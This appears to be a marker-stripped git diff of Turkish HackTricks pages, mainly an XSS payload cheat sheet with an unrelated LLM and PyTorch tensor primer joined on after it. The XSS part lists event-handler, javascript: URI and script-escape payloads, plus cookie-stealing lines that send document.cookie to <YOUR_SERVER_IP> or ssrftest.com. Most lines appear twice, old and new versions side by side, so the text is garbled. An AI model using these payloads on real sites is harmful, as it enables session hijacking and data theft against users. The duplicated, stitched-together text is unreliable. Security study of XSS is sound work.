**Öznitelikten kaçamazsanız bile** (`"` kodlanıyor veya siliniyor), **değerinizin hangi öznitelikte** yansıtıldığına bağlı olarak **değerin tamamını mı yoksa sadece bir kısmını mı kontrol ediyorsanız** bunu kötüye kullanabilirsiniz. **Örneğin**, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklandığında rastgele kod çalıştırmasını sağlayabilirsiniz.\
Başka ilginç bir **örnek**, `href` özniteliğidir; burada rastgele kod çalıştırmak için `javascript:` protokolünü kullanabilirsiniz: **`href="javascript:alert(1)"`**
Eğer **özellikten kaçamazsanız** (`"` kodlanıyor veya siliniyor), **değerinizin hangi özellikte yansıtıldığına bağlı olarak** **değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize** bağlı olarak bunu kötüye kullanabileceksiniz. **Örneğin**, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklandığında rastgele kod çalıştırmasını sağlayabilirsiniz.\
Bir diğer ilginç **örnek** ise `href` özelliğidir; burada rastgele kod çalıştırmak için `javascript:` protokolünü kullanabilirsiniz: **`href="javascript:alert(1)"`**
**HTML kodlaması/URL kodlaması kullanarak olay içindeki atlatma**
**HTML kodlaması/URL kodlaması kullanarak olay içinde atlatma**
HTML etiket özniteliklerinin değerindeki **HTML kodlanmış karakterler** **çalışma zamanında çözülür**. Bu nedenle aşağıdaki gibi bir şey geçerli olacaktır (yükleme kalın yazılmıştır): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Geri Dön </a>`
HTML etiket özelliklerinin değerindeki **HTML kodlanmış karakterler** **çalışma zamanında çözülür**. Bu nedenle aşağıdaki gibi bir şey geçerli olacaktır (yükleme kalın yazılmıştır): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Geri Dön </a>`
**Her türlü HTML kodlaması geçerlidir**:
```javascript
@ -333,7 +333,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**Bu protokolleri enjekte edebileceğiniz yerler**
**Genel olarak** `javascript:` protokolü, **`href` özniteliğini kabul eden herhangi bir etikette** ve **`src` özniteliğini kabul eden** çoğu etikette (ancak `<img>` değil) **kullanılabilir**.
**Genel olarak** `javascript:` protokolü, **`href` özniteliğini kabul eden herhangi bir etikette** ve **`src` özniteliğini kabul eden** çoğu etikette (ancak `<img>` değil) **kullanılabilir.**
```markup
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@ -424,7 +424,7 @@ Ve **meta etiketlerinde**:
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
[**buradan**](https://portswigger.net/research/xss-in-hidden-input-fields): **Kurbanı** **tuş kombinasyonuna** **ikna** edebilirseniz, **gizli bir öznitelik içinde bir XSS yükü** çalıştırabilirsiniz. Firefox Windows/Linux'ta tuş kombinasyonu **ALT+SHIFT+X** ve OS X'te **CTRL+ALT+X**'dir. Erişim anahtarı özniteliğinde farklı bir tuş kullanarak farklı bir tuş kombinasyonu belirtebilirsiniz. İşte vektör:
[**buradan**](https://portswigger.net/research/xss-in-hidden-input-fields): **Gizli bir öznitelik içinde bir XSS yükü çalıştırabilirsiniz**, eğer **kurbanı** **tuş kombinasyonuna** **ikna edebilirseniz**. Firefox Windows/Linux'ta tuş kombinasyonu **ALT+SHIFT+X** ve OS X'te **CTRL+ALT+X**'dir. Erişim anahtarı özniteliğinde farklı bir tuş kullanarak farklı bir tuş kombinasyonu belirtebilirsiniz. İşte vektör:
```markup
<input type="hidden" accesskey="X" onclick="alert(1)">
```
@ -442,15 +442,15 @@ Bu bölümde farklı kodlama kullanarak birkaç hile zaten ortaya konmuştur. **
**HTML etiketleri ve öznitelikler için atlatmalar**
[Önceki bölümdeki Kara Liste Atlatmalarını](./#blacklist-bypasses) oku.
[Önceki bölümün Kara Liste Atlatmalarını](./#blacklist-bypasses) oku.
**JavaScript kodu için atlatmalar**
[Aşağıdaki bölümdeki JavaScript atlatma kara listesini](./#javascript-bypass-blacklists-techniques) oku.
[Aşağıdaki bölümün JavaScript atlatma kara listesini](./#javascript-bypass-blacklists-techniques) oku.
### CSS-Aletleri
Eğer webin çok küçük bir kısmında bir **XSS bulduysanız** ve bu bir tür etkileşim gerektiriyorsa (belki de alt kısımda bir onmouseover öğesi olan küçük bir bağlantı), o öğenin kapladığı alanı **değiştirmeyi** deneyebilirsiniz, böylece bağlantının tetiklenme olasılığını artırabilirsiniz.
Eğer webin çok küçük bir kısmında bir **XSS bulduysanız** ve bu bir tür etkileşim gerektiriyorsa (belki de alt kısımda bir onmouseover öğesi olan küçük bir bağlantı), o zaman **o öğenin kapladığı alanı değiştirmeyi** deneyebilirsiniz, böylece bağlantının tetiklenme olasılığını artırabilirsiniz.
Örneğin, öğeye şu şekilde stil ekleyebilirsiniz: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
@ -462,7 +462,7 @@ ve
> \#someid {top: 0; font-family: Tahoma;}
bulursanız, bağlantımızı şu forma getirebilirsiniz
bulursanız, şimdi bağlantımızı değiştirebilir ve şu forma getirebilirsiniz
> \<a href="" id=someid class=test onclick=alert() a="">
@ -474,7 +474,7 @@ Bu durumda **girdi** JS kodunun bir `.js` dosyasındaki veya `<script>...</scrip
### \<script> etiketini kaçırma
Eğer kodunuz `<script> [...] var input = 'yansıtılan veri' [...] </script>` içinde yer alıyorsa, `<script>` etiketini **kolayca kapatabilirsiniz:**
Eğer kodunuz `<script> [...] var input = 'yansıtılan veri' [...] </script>` içinde yer alıyorsa, **`<script>`** etiketini kolayca **kaçırabilirsiniz:**
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
@ -482,7 +482,7 @@ Not edin ki bu örnekte **tek tırnağı bile kapatmadık**. Bunun nedeni **HTML
### JS kodu içinde
Eğer `<>` temizleniyorsa, hala **diziyi kaçırabilir** ve **keyfi JS** çalıştırabilirsiniz. **JS sözdizimini düzeltmek** önemlidir, çünkü herhangi bir hata varsa, JS kodu yürütülmeyecektir:
Eğer `<>` temizleniyorsa, yine de **diziyi kaçırabilirsiniz** ve **keyfi JS** çalıştırabilirsiniz. **JS sözdizimini düzeltmek** önemlidir, çünkü herhangi bir hata varsa, JS kodu yürütülmeyecektir:
```
'-alert(document.domain)-'
';alert(document.domain)//
@ -491,9 +491,9 @@ Eğer `<>` temizleniyorsa, hala **diziyi kaçırabilir** ve **keyfi JS** çalı
### Template literals \`\`
**Dize** oluşturmak için tek ve çift tırnakların yanı sıra JS ayrıca **ters tırnak** **` `` `** kabul eder. Bu, `${ ... }` sözdizimini kullanarak **gömülü JS ifadeleri** sağlamasına olanak tanıdığı için şablon dizeleri olarak bilinir.\
Bu nedenle, eğer girdinizin bir JS dizesi içinde **yansıtıldığını** bulursanız ve bu dize ters tırnak kullanıyorsa, **keyfi JS kodu** çalıştırmak için `${ ... }` sözdizimini kötüye kullanabilirsiniz:
Bu nedenle, eğer girdinizin ters tırnak kullanan bir JS dizesi içinde **yansıtıldığını** bulursanız, **keyfi JS kodu** çalıştırmak için `${ ... }` sözdizimini kötüye kullanabilirsiniz:
Bu, **kötüye kullanılabilir**:
Bu, şu şekilde **kötüye kullanılabilir**:
```javascript
`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`
@ -742,14 +742,14 @@ top[8680439..toString(30)](1)
[dom-xss.md](dom-xss.md)
{% endcontent-ref %}
Orada **DOM zafiyetlerinin ne olduğu, nasıl tetiklendiği ve nasıl istismar edileceği hakkında detaylı bir açıklama** bulacaksınız.\
Ayrıca, **bahsedilen gönderinin sonunda** [**DOM Clobbering saldırıları hakkında**](dom-xss.md#dom-clobbering) bir açıklama bulmayı unutmayın.
Orada **DOM zafiyetlerinin ne olduğu, nasıl tetiklendiği ve nasıl istismar edileceği** hakkında ayrıntılı bir **ıklama** bulacaksınız.\
Ayrıca, **bahsedilen gönderinin sonunda** [**DOM Clobbering saldırıları**](dom-xss.md#dom-clobbering) hakkında bir açıklama bulmayı unutmayın.
### Self-XSS'i Yükseltme
### Cookie XSS
Eğer bir XSS'i bir çerez içinde yükleyerek tetikleyebiliyorsanız, bu genellikle bir self-XSS'dir. Ancak, eğer **XSS için zayıf bir alt alan adı bulursanız**, bu XSS'i kullanarak tüm alan adında bir çerez enjekte edebilir ve ana alan adında veya çerez XSS'ye karşı zayıf olan diğer alt alan adlarında çerez XSS'i tetikleyebilirsiniz. Bunun için çerez atma saldırısını kullanabilirsiniz:
Eğer bir XSS'i bir çerez içinde yükleyerek tetikleyebiliyorsanız, bu genellikle bir self-XSS'dir. Ancak, eğer **XSS için savunmasız bir alt alan adı** bulursanız, bu XSS'i kullanarak tüm alan adında bir çerez enjekte edebilir ve ana alan adında veya çerez XSS'ye karşı savunmasız diğer alt alan adlarında çerez XSS'i tetikleyebilirsiniz. Bunun için çerez atma saldırısını kullanabilirsiniz:
{% content-ref url="../hacking-with-cookies/cookie-tossing.md" %}
[cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md)
@ -757,9 +757,9 @@ Eğer bir XSS'i bir çerez içinde yükleyerek tetikleyebiliyorsanız, bu genell
Bu tekniğin harika bir istismarını [**bu blog yazısında**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) bulabilirsiniz.
### Oturumunuzu yöneticinin gönderme
### Oturumunuzu yöneticilere gönderme
Belki bir kullanıcı, profilini yöneticiyle paylaşabilir ve eğer self XSS kullanıcının profilindeyse ve yönetici buna erişirse, zafiyeti tetikleyecektir.
Belki bir kullanıcı profiline yöneticilerle paylaşabilir ve eğer self XSS kullanıcının profilindeyse ve yönetici buna erişirse, zafiyeti tetikleyecektir.
### Oturum Yansıtma
@ -820,11 +820,11 @@ Sonra, onfocus niteliği eklenecek ve XSS gerçekleşecektir.
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
```
### 302 yanıtında başlık enjeksiyonu ile XSS
### XSS ile 302 yanıtında başlık enjeksiyonu
Eğer **302 Yönlendirme yanıtında başlıkları enjekte edebildiğinizi** bulursanız, **tarayıcının rastgele JavaScript'i çalıştırmasını sağlamayı** deneyebilirsiniz. Bu **kolay değildir** çünkü modern tarayıcılar, HTTP yanıt durum kodu 302 olduğunda HTTP yanıt gövdesini yorumlamaz, bu nedenle sadece bir cross-site scripting yükü işe yaramaz.
[**bu raporda**](https://www.gremwell.com/firefox-xss-302) ve [**şu raporda**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) Konum başlığı içinde birkaç protokolü nasıl test edebileceğinizi ve bunlardan herhangi birinin tarayıcının gövde içindeki XSS yükünü inceleyip çalıştırmasına izin verip vermediğini görebilirsiniz.\
[**bu raporda**](https://www.gremwell.com/firefox-xss-302) ve [**şu raporda**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) Konum başlığı içinde birkaç protokolü nasıl test edebileceğinizi ve bunlardan herhangi birinin tarayıcının gövde içindeki XSS yükünü incelemesine ve çalıştırmasına izin verip vermediğini görebilirsiniz.\
Geçmişte bilinen protokoller: `mailto://`, `//x:1/`, `ws://`, `wss://`, _boş Konum başlığı_, `resource://`.
### Sadece Harfler, Sayılar ve Noktalar
@ -837,7 +837,7 @@ Eğer javascript'in **çalıştıracağı** **callback**'i bu karakterlerle sın
> [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') adresinden script çalıştırmayı reddetti çünkü MIME türü (application/octet-stream) çalıştırılabilir değil ve katı MIME türü kontrolü etkin.
Chrome'un **yüklenmiş bir script** çalıştırmasına destek verecek tek **Content-Type**'lar, [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc) içindeki **`kSupportedJavascriptTypes`** sabitindeki türlerdir.
Chrome'un **yüklenmiş bir script** çalıştırmasına destek verecek tek **Content-Type**'lar, [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc) içindeki **`kSupportedJavascriptTypes`** sabitindeki olanlardır.
```c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
@ -859,16 +859,14 @@ const char* const kSupportedJavascriptTypes[] = {
};
```
### Script Types to XSS
### Script Türleri ile XSS
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Peki, bir script yüklemek için hangi türler belirtilebilir?
```html
<script type="???"></script>
```
Cevap şudur:
* **module** (varsayılan, açıklanacak bir şey yok)
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles, bir dizi veriyi (HTML, CSS, JS…) bir araya getirip **`.wbn`** dosyasına paketleyebileceğiniz bir özelliktir.
* **modül** (varsayılan, açıklanacak bir şey yok)
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles, bir dizi veriyi (HTML, CSS, JS…) bir araya getirip **`.wbn`** dosyasına paketlemenizi sağlayan bir özelliktir.
```html
<script type="webbundle">
{
@ -942,7 +940,7 @@ Eğer sayfa text/xml içerik türü döndürüyorsa, bir ad alanı belirtmek ve
**`"some {{template}} data".replace("{{template}}", <user_input>)`** gibi bir şey kullanıldığında, saldırgan bazı korumaları aşmaya çalışmak için [**özel dize değiştirmeleri**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) kullanabilir: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
Örneğin, [**bu yazıda**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) bu, bir script içinde **bir JSON dizesini** kaçırmak ve rastgele kod çalıştırmak için kullanıldı.
Örneğin, [**bu yazıda**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) bu, bir **JSON dizesini** bir script içinde kaçırmak ve rastgele kod çalıştırmak için kullanıldı.
### Chrome Önbelleği ile XSS
@ -983,7 +981,7 @@ constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
```
Eğer **her şey tanımsızsa** güvenilmeyen kodu çalıştırmadan önce (örneğin [**bu yazıda**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)) yararlı nesneleri "hiçbir şeyden" oluşturmak mümkündür ve bu, rastgele güvenilmeyen kodun çalıştırılmasını istismar etmek için kullanılabilir:
Eğer **her şey tanımsızsa** güvenilmeyen kodu çalıştırmadan önce (örneğin [**bu yazıda**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)) yararlı nesneleri "hiçbir şeyden" oluşturmak ve rastgele güvenilmeyen kodun çalıştırılmasını kötüye kullanmak mümkündür:
* import() kullanarak
```javascript
@ -1094,7 +1092,7 @@ Kullanıcının bir iframe'den çıkmadan sayfada gezinmesini sağlamak ve eylem
[iframe-traps.md](../iframe-traps.md)
{% endcontent-ref %}
### Çerezleri Alın
### Çerezleri Al
```javascript
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
@ -1117,7 +1115,7 @@ Kullanıcının bir iframe'den çıkmadan sayfada gezinmesini sağlamak ve eylem
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
{% hint style="info" %}
Eğer çerezde HTTPOnly bayrağı ayarlandıysa, **JavaScript'ten çerezlere erişemeyeceksiniz**. Ama burada [bu korumayı aşmanın bazı yolları](../hacking-with-cookies/#httponly) var, eğer şanslıysanız.
JavaScript'ten çerezlere **erişemeyeceksiniz** eğer çerezde HTTPOnly bayrağı ayarlanmışsa. Ama burada [bu korumayı aşmanın bazı yolları](../hacking-with-cookies/#httponly) var, eğer şanslıysanız.
{% endhint %}
### Sayfa İçeriğini Çalmak
@ -1351,7 +1349,7 @@ Bu teknik hakkında daha fazla bilgi burada: [**XSLT**](../xslt-server-side-inje
### Dinamik oluşturulan PDF'de XSS
Eğer bir web sayfası kullanıcı kontrolündeki girdileri kullanarak bir PDF oluşturuyorsa, PDF'yi oluşturan **botu** **rastgele JS kodu çalıştırması için kandırmayı** deneyebilirsiniz.\
Eğer bir web sayfası kullanıcı kontrolündeki girdileri kullanarak bir PDF oluşturuyorsa, PDF'yi oluşturan **botu** **rastgele JS kodu çalıştırmaya** **kandırmayı** deneyebilirsiniz.\
Yani, eğer **PDF oluşturucu bot** bazı **HTML** **etiketleri** bulursa, bunları **yorumlayacak** ve bu davranışı **istismar** ederek bir **Sunucu XSS** oluşturabilirsiniz.
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
@ -1366,7 +1364,7 @@ Eğer HTML etiketlerini enjekte edemiyorsanız, **PDF verisi enjekte etmeyi** de
### Amp4Email'de XSS
AMP, mobil cihazlarda web sayfası performansını hızlandırmayı amaçlayarak, hız ve güvenliğe vurgu yaparak işlevselliği sağlamak için JavaScript ile desteklenen HTML etiketlerini içerir. Çeşitli özellikler için bir dizi bileşeni destekler ve bunlara [AMP bileşenleri](https://amp.dev/documentation/components/?format=websites) aracılığıyla erişilebilir.
AMP, mobil cihazlarda web sayfası performansını hızlandırmayı amaçlayarak, hız ve güvenliğe vurgu yaparak işlevselliği sağlamak için JavaScript ile desteklenmiş HTML etiketlerini içerir. Çeşitli özellikler için bir dizi bileşeni destekler ve bunlara [AMP bileşenleri](https://amp.dev/documentation/components/?format=websites) aracılığıyla erişilebilir.
[**E-posta için AMP**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formatı, belirli AMP bileşenlerini e-postalara genişleterek alıcıların içerikle doğrudan e-postaları içinde etkileşimde bulunmalarını sağlar.
@ -1430,9 +1428,9 @@ id="foo"/>
```xml
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />
```
Find **more SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
Find **daha fazla SVG yüklemesi için** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
## Misc JS Tricks & Relevant Info
## Çeşitli JS Hileleri ve İlgili Bilgiler
{% content-ref url="other-js-tricks.md" %}
[other-js-tricks.md](other-js-tricks.md)
@ -1446,23 +1444,23 @@ Find **more SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](ht
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
Eğer **hackleme kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>HackTricks'i Destekleyin</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking hilelerini paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -2,19 +2,19 @@
## Ön Eğitim
Ön eğitim, büyük bir dil modelinin (LLM) geliştirilmesinde temel aşamadır; bu aşamada model, geniş ve çeşitli metin verilerine maruz kalır. Bu aşamada, **LLM dilin temel yapıları, kalıpları ve inceliklerini öğrenir**, dilbilgisi, kelime dağarcığı, sözdizimi ve bağlamsal ilişkiler dahil. Bu kapsamlı veriyi işleyerek model, dil ve genel dünya bilgisi hakkında geniş bir anlayış kazanır. Bu kapsamlı temel, LLM'nin tutarlı ve bağlamsal olarak ilgili metinler üretmesini sağlar. Ardından, bu önceden eğitilmiş model, belirli görevler veya alanlar için yeteneklerini uyarlamak amacıyla özel veri setleri üzerinde daha fazla eğitim alabileceği ince ayar aşamasına geçebilir; bu da performansını ve hedef uygulamalardaki alaka düzeyini artırır.
Ön eğitim, büyük bir dil modelinin (LLM) geliştirilmesinde temel aşamadır; bu aşamada model, geniş ve çeşitli metin verilerine maruz kalır. Bu aşamada, **LLM dilin temel yapılarını, kalıplarını ve inceliklerini öğrenir**, dilbilgisi, kelime dağarcığı, sözdizimi ve bağlamsal ilişkiler dahil. Bu kapsamlı veriyi işleyerek model, dil ve genel dünya bilgisi hakkında geniş bir anlayış kazanır. Bu kapsamlı temel, LLM'nin tutarlı ve bağlamsal olarak ilgili metinler üretmesini sağlar. Ardından, bu önceden eğitilmiş model, belirli görevler veya alanlar için yeteneklerini uyarlamak amacıyla özel veri setleri üzerinde daha fazla eğitim alarak ince ayar yapılabilir; bu da performansını ve hedef uygulamalardaki alaka düzeyini artırır.
## Ana LLM Bileşenleri
Genellikle bir LLM, onu eğitmek için kullanılan yapılandırma ile karakterize edilir. Bir LLM eğitirken yaygın bileşenler şunlardır:
* **Parametreler**: Parametreler, sinir ağındaki **öğrenilebilir ağırlıklar ve önyargılardır**. Bu, eğitim sürecinin kayıp fonksiyonunu minimize etmek ve modelin görevdeki performansını artırmak için ayarladığı sayılardır. LLM'ler genellikle milyonlarca parametre kullanır.
* **Bağlam Uzunluğu**: Bu, LLM'yi ön eğitmek için kullanılan her cümlenin maksimum uzunluğudur.
* **Bağlam Uzunluğu**: Bu, LLM'yi ön eğitim için kullanılan her cümlenin maksimum uzunluğudur.
* **Gömme Boyutu**: Her token veya kelimeyi temsil etmek için kullanılan vektörün boyutu. LLM'ler genellikle milyarlarca boyut kullanır.
* **Gizli Boyut**: Sinir ağındaki gizli katmanların boyutu.
* **Katman Sayısı (Derinlik)**: Modelin kaç katmana sahip olduğu. LLM'ler genellikle on katman kullanır.
* **Dikkat Başlıkları Sayısı**: Dönüştürücü modellerde, her katmanda kullanılan ayrı dikkat mekanizmalarının sayısıdır. LLM'ler genellikle on başlık kullanır.
* **Dropout**: Dropout, eğitim sırasında verilerin kaldırıldığı (olasılıkların 0'a döndüğü) yüzdelik bir şeydir; **aşırı uyum sağlamayı önlemek** için kullanılır. LLM'ler genellikle %0-20 arasında kullanır.
* **Dikkat Başlıkları Sayısı**: Dönüştürücü modellerde, bu her katmanda kullanılan ayrı dikkat mekanizmalarının sayısıdır. LLM'ler genellikle on başlık kullanır.
* **Dropout**: Dropout, eğitim sırasında verilerin kaldırılan yüzdesi gibidir (olasılıklar 0'a döner) ve **aşırı uyum sağlamayı önlemek** için kullanılır. LLM'ler genellikle %0-20 arasında kullanır.
GPT-2 modelinin yapılandırması:
```json
@ -28,31 +28,31 @@ GPT_CONFIG_124M = {
"qkv_bias": False // Query-Key-Value bias
}
```
## PyTorch'ta Tensörler
## Tensors in PyTorch
PyTorch'ta bir **tensör**, skalarlar, vektörler ve matrisler gibi kavramları potansiyel olarak daha yüksek boyutlara genelleştiren çok boyutlu bir dizi olarak hizmet eden temel bir veri yapısıdır. Tensörler, özellikle derin öğrenme ve sinir ağları bağlamında, PyTorch'ta verilerin temsil edilmesi ve işlenmesi için birincil yoldur.
PyTorch'ta, **tensor**, skalarlar, vektörler ve matrisler gibi kavramları potansiyel olarak daha yüksek boyutlara genelleştiren çok boyutlu bir dizi olarak hizmet eden temel bir veri yapısıdır. Tensors, özellikle derin öğrenme ve sinir ağları bağlamında, PyTorch'ta verilerin temsil edilmesi ve işlenmesi için birincil yoldur.
### Tensörlerin Matematiksel Kavramı
### Mathematical Concept of Tensors
* **Skalarlar**: Tek bir sayıyı temsil eden 0. dereceden tensörler (sıfır boyutlu). Örnek: 5
* **Vektörler**: Bir dizi sayıyı temsil eden 1. dereceden tensörler. Örnek: \[5,1]
* **Matrisler**: Satır ve sütunlarla iki boyutlu dizileri temsil eden 2. dereceden tensörler. Örnek: \[\[1,3], \[5,2]]
* **Daha Yüksek Dereceli Tensörler**: 3 veya daha fazla dereceden tensörler, verileri daha yüksek boyutlarda temsil eder (örneğin, renkli görüntüler için 3D tensörler).
* **Scalars**: Tek bir sayıyı temsil eden 0. dereceden tensorler (sıfır boyutlu). Örnek: 5
* **Vectors**: Bir dizi sayıyı temsil eden 1. dereceden tensorler. Örnek: \[5,1]
* **Matrices**: Satır ve sütunlarla iki boyutlu dizileri temsil eden 2. dereceden tensorler. Örnek: \[\[1,3], \[5,2]]
* **Higher-Rank Tensors**: 3. dereceden veya daha yüksek tensorler, verileri daha yüksek boyutlarda temsil eder (örneğin, renkli görüntüler için 3D tensorler).
### Tensörler Veri Konteyneri Olarak
### Tensors as Data Containers
Hesaplama perspektifinden, tensörler çok boyutlu veriler için konteynerler olarak işlev görür; her boyut verinin farklı özelliklerini veya yönlerini temsil edebilir. Bu, tensörleri makine öğrenimi görevlerinde karmaşık veri setlerini işlemek için son derece uygun hale getirir.
Hesaplama perspektifinden, tensorler çok boyutlu veriler için kaplar olarak işlev görür; her boyut verinin farklı özelliklerini veya yönlerini temsil edebilir. Bu, tensorleri makine öğrenimi görevlerinde karmaşık veri setlerini işlemek için son derece uygun hale getirir.
### PyTorch Tensörleri vs. NumPy Dizileri
### PyTorch Tensors vs. NumPy Arrays
PyTorch tensörleri, sayısal verileri depolama ve işleme yetenekleri açısından NumPy dizilerine benzerken, derin öğrenme için kritik olan ek işlevsellikler sunar:
PyTorch tensorleri, sayısal verileri depolama ve işleme yetenekleri açısından NumPy dizilerine benzerken, derin öğrenme için kritik olan ek işlevsellikler sunar:
* **Otomatik Türev Alma**: PyTorch tensörleri, sinir ağlarını eğitmek için gereken türevlerin hesaplanmasını basitleştiren otomatik gradyan hesaplamasını (autograd) destekler.
* **GPU Hızlandırması**: PyTorch'taki tensörler, GPU'lara taşınabilir ve burada hesaplanabilir, bu da büyük ölçekli hesaplamaları önemli ölçüde hızlandırır.
* **Automatic Differentiation**: PyTorch tensorleri, sinir ağlarını eğitmek için gereken türevlerin hesaplanmasını basitleştiren otomatik gradyan hesaplamasını (autograd) destekler.
* **GPU Acceleration**: PyTorch'taki tensorler, GPU'lara taşınabilir ve burada hesaplanabilir, bu da büyük ölçekli hesaplamaları önemli ölçüde hızlandırır.
### PyTorch'ta Tensör Oluşturma
### Creating Tensors in PyTorch
Tensörleri `torch.tensor` fonksiyonu kullanarak oluşturabilirsiniz:
Tensorleri `torch.tensor` fonksiyonu kullanarak oluşturabilirsiniz:
```python
pythonCopy codeimport torch
@ -114,7 +114,7 @@ result = tensor2d @ tensor2d.T
### Derin Öğrenmedeki Önemi
Tensörler, PyTorch'ta sinir ağları oluşturmak ve eğitmek için gereklidir:
Tensörler, sinir ağları oluşturmak ve eğitmek için PyTorch'ta esastır:
* Girdi verilerini, ağırlıkları ve biasları depolar.
* Eğitim algoritmalarında ileri ve geri geçişler için gereken işlemleri kolaylaştırır.
@ -122,17 +122,17 @@ Tensörler, PyTorch'ta sinir ağları oluşturmak ve eğitmek için gereklidir:
## Otomatik Türev Alma
